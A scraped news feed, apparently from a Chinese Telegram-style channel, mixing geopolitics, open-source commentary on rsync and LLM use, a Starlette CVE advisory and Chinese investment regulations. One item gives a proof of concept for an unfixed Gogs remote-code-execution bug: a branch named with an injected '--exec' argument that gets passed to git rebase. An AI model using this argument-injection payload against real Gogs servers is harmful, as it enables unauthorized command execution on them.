：但为什么我周围到处都是会全世界东西的人（

Nanatsukaze - 五月猫
https://www.bilibili.com/video/BV1fRVT6REQL

JUST IN: 🇺🇸 Trump administration moves to put President Trump on a new $250 bill, WaPo reports.

@WatcherGuru

美伊谈判代表据报已就延长停火和启动伊朗核计划谈判达成60天的谅解备忘录。该备忘录有待特朗普批准，伊朗也未确定是否接受。
美国官员称，备忘录将规定霍尔木兹海峡航运“不受限制”，这意味着不收取通行费、不受到骚扰，伊朗须在30天内清除水雷。美国将逐步解除海上封锁，并允许伊朗自由销售石油。
官员们表示，备忘录将包含伊朗不追求核武器的承诺，60天内将首先就如何处置伊朗浓缩铀等问题展开谈判。
美国承诺在谈判中讨论解除制裁和解冻伊朗资金。双方还将讨论帮助伊朗接受物资和人道主义援助的机制。
美军中央司令部表示，美军击落了5架伊朗无人机，并袭击了阿巴斯港准备发射第6架无人机的地面控制站。科威特军队则拦截了一枚射向该国的弹道导弹。伊朗革命卫队表示，已打击发动袭击的美军基地。
（Axios，路透社）

📸 @Billchenchina shared a post from Instagram

Flathub disallows LLM-based submissions

Comments

via social.treehouse.systems via FedericoSchonborn

Gogs RCE (NOT FIXED)
创建一个名为 --exec=touch${IFS}/tmp/rce_proof 的 branch
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed/
https://x.com/_CryptoCat/status/2059987039198601673

rsync was basically done until the maintainer discovered vibecoding

https://hails.org/@hailey/116657391001259044

I actually worked at the same place as Andrew Tridgell, over a quarter-century ago. I got to know a few of the OzLabs folks during their immediate post-IBM years, and always had the highest respect for them in that way where you feel acute impostor syndrome when they're in the room.

Tridge almost walked backwards into implementing the Windows SMB protocol (he was just debugging some funny NetBIOS extensions IIRC). But his paper on the #rsync algorithm was groundbreaking, and actually writing the tool to implement it was brilliant. It's become one of those tools like #curl that just forms one of the major structural supports of the modern Internet. I still remember the day that the SSH transport became the default, and I remember being able to thank him in person when he came to the San Francisco office (although IIRC by that point he'd handed control of rsync over to mbp).

I remember at my next job he came to a summit of folks working on print driver/spooler software. When he pointed out that some problems were effectively a cache-consistency algorithm, we all kind of put our fingers to our temples and said "Oh wow, you're SO right!" He was always insightful and sharp, while being gentle and approachable.

I write in the past tense because I haven't crossed paths with him in two decades, and only know what I see him put out. A friend of mine in Australia noted that he hasn't posted to the Canberra LUG list since 2020, thanking someone for congratulating him on receiving the Medal of the Order of Australia. He's very much alive, but from what little I see I grow concerned for him.

In 2024 he took over maintenance of rsync once more. The 3.3.0 release was the last one from the previous maintainer, and Tridge is currently working on 3.4.x releases.

Well... Tridge and #Claude, it seems: https://mastodon.gamedev.place/@JeremiahFieldhaven/116654345332213390

The issue tracker for rsync has recently lit up with regressions, showing features that worked reliably for almost 30 years are suddenly coming crashing down in 3.4.2 and 3.4.3. People are scrambling to find ways to pin rsync to known-good versions. The considerate, incisive mind I briefly knew is letting the stochastic parrots do his work for him, and it just seems so astonishingly *unlike* the person I met back in the day.

I am still willing to give him the benefit of the doubt. I hope all is well for him, but I will not cast aspersions on his goals or his abilities. No, instead I draw this conclusion:

If TRIDGE of all people can't handle #LLMs without a slopocalypse, no one can.

That means you. That means someone you admire who is intelligent and careful and considerate. Not even someone whose opinions on technology you respect a great deal.

No one.

https://teh.entar.net/@spacehobo/116659545246426837

🧵 https://wandering.shop/@xgranade/116259862366462379

(repost)

starlette CVE-2026-48710
Starlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Users should upgrade to a version greater than or equal to version 1.0.1, which validates the Host header against the grammar of RFC 9112 §3.2 / RFC 3986 §3.2.2 when constructing request.url and falls back to scope["server"] for malformed values.
https://news.ycombinator.com/item?id=48277107
https://lobste.rs/s/xvdvko

中国国务院对外投资新规：投资者未按规定履行境外投资核准备案手续，责令改正并没收违法所得

BlockBeats 消息，6 月 1 日，中国国务院发布《国务院关于对外投资的规定》，其中第二十七条规定：投资者未按规定履行境外投资核准备案手续，或者以提交虚假材料、隐瞒真实信息等方式申请有关核准备案的，由核准备案机关责令改正，没收违法所得，处投资额 1‰以上 5‰以下的罚款；拒不改正的，责令其停止该投资活动，限期处分股份、资产，处投资额 5‰以上 10‰以下的罚款；对直接负责的主管人员和其他直接责任人员处 2 万元以上 5 万元以下的罚款。

投资者以贿赂、欺骗等不正当手段获得境外投资核准备案的，由核准备案机关撤销核准备案文件，没收违法所得，处投资额 1‰以上 5‰以下的罚款；已经投资的，责令其停止该投资活动，限期处分股份、资产，处投资额 5‰以上 10‰以下的罚款；对直接负责的主管人员和其他直接责任人员处 2 万元以上 5 万元以下的罚款。

原文链接 https://m.theblockbeats.info/flash/348709